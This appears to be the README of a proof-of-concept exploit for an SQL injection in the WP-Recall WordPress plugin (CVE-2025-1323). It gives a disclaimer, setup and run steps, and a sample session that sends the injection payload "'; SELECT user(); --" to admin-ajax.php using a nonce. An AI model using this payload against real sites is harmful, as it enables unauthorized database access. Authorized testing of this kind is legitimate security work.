p33d/cve-2025-1323WP-Recall Plugin SQL Injection
WP-Recall Plugin SQL Injection
This tool is intended for authorized security testing and educational use only.
Do not use against systems without explicit permission. Misuse may be illegal.
requests moduleInstall dependencies:
pip install requests
python CVE-2025-1323.py
Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06
[*] Sending payload: '; SELECT user(); --
[+] Response received:
{"result":"SQL error or leaked data here..."}